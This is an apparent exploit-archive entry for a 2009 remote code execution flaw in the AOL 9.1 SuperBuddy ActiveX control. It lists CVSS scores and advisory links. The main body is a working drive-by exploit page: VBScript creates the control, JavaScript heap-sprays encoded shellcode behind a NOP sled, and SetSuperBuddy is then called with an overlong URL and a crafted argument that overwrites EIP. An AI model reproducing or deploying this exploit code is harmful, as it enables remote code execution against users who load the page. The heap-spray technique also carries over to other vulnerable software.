AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy() remote code execution exploit

2009-10-12 / 2009-10-13
Risk: High
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

<!-- AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy() remote code execution exploit (IE7/heap spray version) by nine:situations:group::trotzkista Is possible to execute arbitrary code by setting the first argument to an overlong url and the second argument to a 16 bytes long string (which overwrite eip)followed by a "//" sequence CLSID: {189504B8-50D1-4AA8-B4D6-95C8F58A6414} Progid: Sb.SuperBuddy.1 Binary Path: C:\Programmi\AOL 9.1\sb.dll Implements IObjectSafety: True Safe For Initialization (IObjectSafety): True Safe For Scripting (IObjectSafety): True --> <script language='vbscript'> Set obj = CreateObject("Sb.SuperBuddy.1") </script> <script language='javascript'> shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" + "%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" + "%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" + "%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" + "%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" + "%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" + "%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" + "%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" + "%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" + "%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" + "%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" + "%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" + "%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" + "%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" + "%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" + "%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" + "%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" + "%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" + "%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" + "%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" + "%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" + "%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" + "%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" + "%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" + "%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" + "%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" + "%u7734%u4734%u4570"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<666;i++){memory[i] = block+shellcode} </script> <script language='vbscript'> obj.SetSuperBuddy "http://www.suntzu" + string(1999999,"A") + ".com/" ,"aaaa" + unescape("%0c%0c%0c%0c") + "bbbbcccc//" </script> original url: http://retrogod.altervista.org/9sg_aol_91_superbuddy.html

References:

http://xforce.iss.net/xforce/xfdb/53614
http://www.vupen.com/english/advisories/2009/2812
http://www.securityfocus.com/bid/36580
http://www.securityfocus.com/archive/1/archive/1/506889/100/0/threaded
http://secunia.com/advisories/36919
http://retrogod.altervista.org/9sg_aol_91_superbuddy.html


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